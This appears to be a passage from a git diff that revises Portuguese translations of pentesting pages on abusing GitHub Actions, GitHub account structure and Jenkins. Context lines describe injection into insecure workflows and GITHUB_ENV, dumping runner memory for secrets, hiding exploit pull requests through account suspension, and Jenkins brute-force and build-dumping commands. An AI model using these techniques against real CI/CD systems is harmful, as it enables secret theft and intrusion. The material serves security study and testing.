-No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser ativado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
+No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser acionado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
 
 > [!CAUTION]
-> No entanto, se a **ação** tiver um **checkout explícito do PR** que irá **obter o código do PR** (e não da base), ele usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado):
+> No entanto, se a **ação** tiver um **checkout de PR explícito** que **obterá o código do PR** (e não da base), usará o código controlado pelo atacante. Por exemplo (ver linha 12 onde o código do PR é baixado):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornecido apenas como exemplo.
 on:
@@ -288,7 +288,7 @@ De acordo com a documentação: Você pode tornar uma **variável de ambiente di
 
 Se um atacante puder **injetar qualquer valor** dentro dessa variável **env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
 
-Por exemplo ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
+Por exemplo ([**isso**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**isso**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
@@ -323,7 +323,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Isto pode ser atacado com este fluxo de trabalho:
+Isso pode ser atacado com este fluxo de trabalho:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -349,7 +349,7 @@ Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse no
 > [!CAUTION]
 > Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
 
-Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui está uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
@@ -360,7 +360,7 @@ Se outros repositórios estavam usando **dependências desses repositórios de u
 
 ### Envenenamento de Cache
 
-Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow.
+Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá também **comprometer** esse workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
@@ -394,7 +394,7 @@ Verifique as seguintes páginas:
 
 Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
 
-- Se o segredo ou token estiver definido como uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
+- Se o segredo ou token estiver definido como uma **variável de ambiente**, pode ser acessado diretamente através do ambiente usando **`printenv`**.
 
 <details>
 
@@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }}
 
 A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action.
 
-Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa poderia **roubar os segredos** da outra.
+Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa pode **roubar os segredos** da outra.
 
 Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
 ```bash
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 
 Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**.
 
-Um usuário com permissões de leitura sobre o repositório poderá então baixar a Imagem Docker usando um token de acesso pessoal:
+Um usuário com permissões de leitura sobre o repositório poderá então baixar a imagem Docker usando um token de acesso pessoal:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -530,20 +530,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### Informações sensíveis nos logs do Github Actions
 
-Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrar** eles, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrá-los**, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado, a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Cobrir suas Trilhas
 
 (Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderia todas as suas atividades** no GitHub da internet (basicamente remover todos os seus PRs de exploração)
 
-Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
+Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
 
 > [!WARNING]
 > A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
 
 ## Ferramentas
 
-As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar vulneráveis:
+As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar os vulneráveis:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index f77c0d2d3..0b4c44260 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1 +1 @@
-# GH Actions - Cache Poisoning
+# GH Actions - Envenenamento de Cache
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index fd652da86..5889ced89 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,27 +1,27 @@
-# Dados Deletados Acessíveis no Github
+# Dados Excluídos Acessíveis no Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Essas maneiras de acessar dados do Github que supostamente foram deletados foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Essas maneiras de acessar dados do Github que supostamente foram excluídos foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
 
-## Acessando Dados de Forks Deletados
+## Acessando Dados de Forks Excluídos
 
-1. Você faz um fork de um repositório público
-2. Você comita código no seu fork
-3. Você deleta seu fork
+1. Você faz um fork de um repositório público.
+2. Você comita código no seu fork.
+3. Você exclui seu fork.
 
 > [!CAUTION]
-> Os dados comitados no fork deletado ainda estão acessíveis.
+> Os dados comitados no fork excluído ainda são acessíveis.
 
-## Acessando Dados de Repositórios Deletados
+## Acessando Dados de Repositórios Excluídos
 
 1. Você tem um repositório público no GitHub.
-2. Um usuário faz fork do seu repositório.
+2. Um usuário faz um fork do seu repositório.
 3. Você comita dados após eles fazerem o fork (e eles nunca sincronizam seu fork com suas atualizações).
-4. Você deleta o repositório inteiro.
+4. Você exclui o repositório inteiro.
 
 > [!CAUTION]
-> Mesmo que você tenha deletado seu repositório, todas as alterações feitas nele ainda estão acessíveis através dos forks.
+> Mesmo que você tenha excluído seu repositório, todas as alterações feitas nele ainda são acessíveis através dos forks.
 
 ## Acessando Dados de Repositórios Privados
 
@@ -32,7 +32,7 @@ Essas maneiras de acessar dados do Github que supostamente foram deletados foram
 > [!CAUTION]
 > É possível acessar todos os dados enviados para o fork interno no período entre a criação do fork interno e a versão pública sendo tornada pública.
 
-## Como descobrir commits de forks deletados/ocultos
+## Como descobrir commits de forks excluídos/ocultos
 
 O mesmo post do blog propõe 2 opções:
 
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 6d0e46af3..c7b010aeb 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,7 +4,7 @@
 
 ## Estrutura Básica
 
-A estrutura básica do ambiente github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**.
+A estrutura básica do ambiente do github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**.
 
 Do ponto de vista do usuário, um **usuário** pode ser um **membro** de **diferentes empresas e organizações**. Dentro delas, o usuário pode ter **diferentes funções de empresa, organização e repositório**.
 
@@ -24,7 +24,7 @@ E finalmente, **os repositórios podem ter mecanismos de proteção especiais**.
 Em uma organização, os usuários podem ter diferentes funções:
 
 - **Proprietários da organização**: Proprietários da organização têm **acesso administrativo completo à sua organização**. Essa função deve ser limitada, mas não a menos de duas pessoas, em sua organização.
-- **Membros da organização**: A função **padrão**, não administrativa, para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**.
+- **Membros da organização**: A função **padrão**, não administrativa para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**.
 - **Gerentes de cobrança**: Gerentes de cobrança são usuários que podem **gerenciar as configurações de cobrança da sua organização**, como informações de pagamento.
 - **Gerentes de Segurança**: É uma função que os proprietários da organização podem atribuir a qualquer equipe em uma organização. Quando aplicada, dá a cada membro da equipe permissões para **gerenciar alertas e configurações de segurança em sua organização, bem como permissões de leitura para todos os repositórios** na organização.
 - Se sua organização tiver uma equipe de segurança, você pode usar a função de gerente de segurança para dar aos membros da equipe o menor acesso necessário à organização.
@@ -51,7 +51,7 @@ As configurações aqui configuradas indicarão as seguintes permissões dos mem
 
 Por padrão, as funções de repositório são criadas:
 
-- **Leitura**: Recomendado para **contribuidores não relacionados ao código** que desejam visualizar ou discutir seu projeto.
+- **Leitura**: Recomendado para **contribuidores não de código** que desejam visualizar ou discutir seu projeto.
 - **Triagem**: Recomendado para **contribuidores que precisam gerenciar proativamente problemas e pull requests** sem acesso de escrita.
 - **Escrita**: Recomendado para contribuintes que **enviam ativamente para seu projeto**.
 - **Manutenção**: Recomendado para **gerentes de projeto que precisam gerenciar o repositório** sem acesso a ações sensíveis ou destrutivas.
@@ -63,7 +63,7 @@ Você também pode **criar suas próprias funções** em _https://github.com/org
 
 ### Equipes
 
-Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\<org_name>/teams_. Observe que, para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai.
+Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\<org_name>/teams_. Observe que para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai.
 
 ### Usuários
 
@@ -81,7 +81,7 @@ Acessando **github.com**, você pode fazer login usando seu **nome de usuário e
 
 ### **Chaves SSH**
 
-Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a **chave privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **Chaves GPG**
 
@@ -102,10 +102,10 @@ Aplicativos Oauth podem solicitar permissões **para acessar parte das suas info
 
 Algumas **recomendações de segurança**:
 
-- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados.
+- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados.
 - Um Aplicativo OAuth pode ser usado como um provedor de identidade ao habilitar um "Login com GitHub" para o usuário autenticado.
 - **Não** crie um **Aplicativo OAuth** se você quiser que seu aplicativo atue em um **único repositório**. Com o escopo `repo`, os Aplicativos OAuth podem **agir em \_todos**\_\*\* os repositórios do usuário autenticado\*\*.
-- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Os Aplicativos OAuth se autenticam como um **único usuário**, então, se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele.
+- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Aplicativos OAuth se autenticam como um **único usuário**, então se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele.
 - **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Aplicativos do Github
@@ -116,41 +116,41 @@ Aplicativos do Github podem solicitar permissões para **acessar suas informaç
 - O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
 - Você pode criar seu próprio aplicativo do Github em [https://github.com/settings/apps](https://github.com/settings/apps)
 - Você pode ver todos os **aplicativos do Github que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
-- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do aplicativo, ele poderá acessar alguns deles.
+- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do Aplicativo, ele poderá acessar alguns deles.
 - Você pode ver aplicativos instalados em uma **organização** em _https://github.com/organizations/\<org_name>/settings/installations_
 
 Algumas recomendações de segurança:
 
-- Um Aplicativo do GitHub deve **tomar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Um Aplicativo do GitHub deve **realizar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas, e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
 - Certifique-se de que o Aplicativo do GitHub se integre com **repositórios específicos**.
 - O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
 - Não espere que o Aplicativo do GitHub saiba e faça tudo o que um usuário pode.
 - **Não use um Aplicativo do GitHub se você só precisa de um serviço de "Login com GitHub"**. Mas um Aplicativo do GitHub pode usar um [fluxo de identificação de usuário](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para fazer login de usuários _e_ fazer outras coisas.
 - Não crie um Aplicativo do GitHub se você _apenas_ quiser agir como um usuário do GitHub e fazer tudo o que esse usuário pode fazer.
-- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de fluxo de trabalho, deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de fluxo de trabalho. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de workflow, você deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de workflow. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
 Isso **não é uma maneira de autenticar no github**, mas uma **ação maliciosa** do Github poderia obter **acesso não autorizado ao github** e **dependendo** dos **privilégios** dados à Ação, vários **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informações.
 
-## Ações do Git
+## Ações Git
 
-As ações do Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos).
+As ações Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos).
 
 ### Configuração
 
 Em _https://github.com/organizations/\<org_name>/settings/actions_ é possível verificar a **configuração das ações do github** para a organização.
 
-É possível proibir o uso de ações do github completamente, **permitir todas as ações do github**, ou apenas permitir certas ações.
+É possível proibir completamente o uso de ações do github, **permitir todas as ações do github**, ou apenas permitir certas ações.
 
-Também é possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada.
+É também possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada.
 
 ### Segredos do Git
 
 A Ação do Github geralmente precisa de algum tipo de segredos para interagir com o github ou aplicativos de terceiros. Para **evitar colocá-los em texto claro** no repositório, o github permite colocá-los como **Segredos**.
 
-Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo assim:
+Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo como:
 ```yaml
 steps:
 - name: Hello world action
@@ -172,11 +172,11 @@ example-command "$SUPER_SECRET"
 
 > Uma vez configurados no repositório ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles só poderão **alterá-los**.
 
-Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você poderá acessar apenas os segredos declarados para a Action).
+Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você só poderá acessar os segredos declarados para a Action).
 
-### Git Environments
+### Ambientes do Git
 
-Github permite criar **environments** onde você pode salvar **secrets**. Então, você pode dar à github action acesso aos segredos dentro do ambiente com algo como:
+O Github permite criar **ambientes** onde você pode salvar **segredos**. Em seguida, você pode dar à ação do github acesso aos segredos dentro do ambiente com algo como:
 ```yaml
 jobs:
 deployment:
@@ -202,10 +202,10 @@ Se o **Github Runner personalizado estiver configurado em uma máquina dentro da
 
 ### Comprometimento da Git Action
 
-Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário pode usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada.
+Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário poderia usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada.
 
 > [!CAUTION]
-> Uma **Github Action maliciosa** executada pode ser **abusada** pelo atacante para:
+> Uma **Github Action maliciosa** executada poderia ser **abusada** pelo atacante para:
 >
 > - **Roubar todos os segredos** aos quais a Action tem acesso
 > - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token SA usado para executar a máquina pode ser acessado (provavelmente via o serviço de metadados)
@@ -223,7 +223,7 @@ As **proteções de ramo de um repositório** podem ser encontradas em _https://
 Diferentes proteções podem ser aplicadas a um ramo (como ao master):
 
 - Você pode **exigir um PR antes de mesclar** (então você não pode mesclar código diretamente sobre o ramo). Se isso for selecionado, outras proteções podem estar em vigor:
-- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não possa mesclar código diretamente.
+- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não consiga mesclar código diretamente.
 - **Desconsiderar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e, em seguida, o usuário poderia adicionar código malicioso e mesclá-lo.
 - **Exigir revisões de Proprietários de Código**. Pelo menos 1 proprietário de código do repositório precisa aprovar o PR (para que usuários "aleatórios" não possam aprová-lo)
 - **Restringir quem pode desconsiderar revisões de pull request.** Você pode especificar pessoas ou equipes autorizadas a desconsiderar revisões de pull request.
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 8bad695e5..7b85071a4 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -1,4 +1,4 @@
-# Jenkins Security
+# Segurança do Jenkins
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -20,9 +20,9 @@ Verifique se você pode executar comandos sem precisar de autenticação:
 ```
 msf> use auxiliary/scanner/http/jenkins_command
 ```
-Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ por **nomes de usuário**.
+Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ para **nomes de usuário**.
 
-Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_
+Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_.
 
 ![](<../../images/image (146).png>)
 
@@ -46,11 +46,11 @@ Você poderá encontrar instâncias do Jenkins que **permitem que você crie uma
 
 ### **Login SSO**
 
-Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma **conta de teste do Github/Bitbucket**). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma conta de **Github/Bitbucket** de teste). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
 
 ### Bruteforce
 
-**Jenkins** não possui **política de senha** e **mitigação contra brute-force de nomes de usuário**. É essencial **fazer brute-force** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**.
+**Jenkins** não possui **política de senha** e **mitigação de força bruta de nome de usuário**. É essencial **fazer força bruta** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**.
 ```
 msf> use auxiliary/scanner/http/jenkins_login
 ```
@@ -58,17 +58,17 @@ msf> use auxiliary/scanner/http/jenkins_login
 
 Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
 
-### Bypass de Whitelisting de IP
+### IP Whitelisting Bypass
 
-Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução de CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas de CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline.
+Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline.
 
-Para alcançar isso, as organizações **whitelist** os **intervalos de IP** das **plataformas SCM**, permitindo que acessem o **sistema de CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema de CI interno**.
+Para alcançar isso, as organizações **colocam na lista branca** os **intervalos de IP** das **plataformas SCM**, permitindo que elas acessem o **sistema CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema CI interno**.
 
 Verifique: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
 
-## Abusos Internos do Jenkins
+## Internal Jenkins Abuses
 
-Nestes cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.
+Nesses cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.
 
 > [!WARNING]
 > Dependendo do mecanismo de **Autorização** configurado no Jenkins e da permissão do usuário comprometido, você **pode ou não ser capaz de realizar os seguintes ataques.**
@@ -79,13 +79,13 @@ Para mais informações, verifique as informações básicas:
 basic-jenkins-information.md
 {{#endref}}
 
-### Listando usuários
+### Listing users
 
 Se você acessou o Jenkins, pode listar outros usuários registrados em [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
 
-### Dumping de builds para encontrar segredos em texto claro
+### Dumping builds to find cleartext secrets
 
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de build para, esperançosamente, encontrar segredos em texto claro.
+Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de builds para, esperançosamente, encontrar segredos em texto claro.
 ```bash
 python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
 cd build_dumps
@@ -242,13 +242,13 @@ Para mais informações, verifique as informações básicas:
 basic-jenkins-information.md
 {{#endref}}
 
-Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o **`Built-In Node`** (que é o nó que executa o Jenkins) e potencialmente mais:
+Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o \*\*`Built-In Node` \*\* (que é o nó que executa o Jenkins) e potencialmente mais:
 
 ![](<../../images/image (249).png>)
 
 É **especialmente interessante comprometer o nó Built-In** porque ele contém informações sensíveis do Jenkins.
 
-Para indicar que você deseja **executar** o **pipeline** no **nó built-in do Jenkins**, você pode especificar dentro do pipeline a seguinte configuração:
+Para indicar que você deseja **executar** o **pipeline** no **nó Jenkins embutido**, você pode especificar dentro do pipeline a seguinte configuração:
 ```bash
 pipeline {
 agent {label 'built-in'}
@@ -328,7 +328,7 @@ jenkins-dumping-secrets-from-groovy.md
 
 #### From disk
 
-Esses arquivos são necessários para **descriptografar os segredos do Jenkins**:
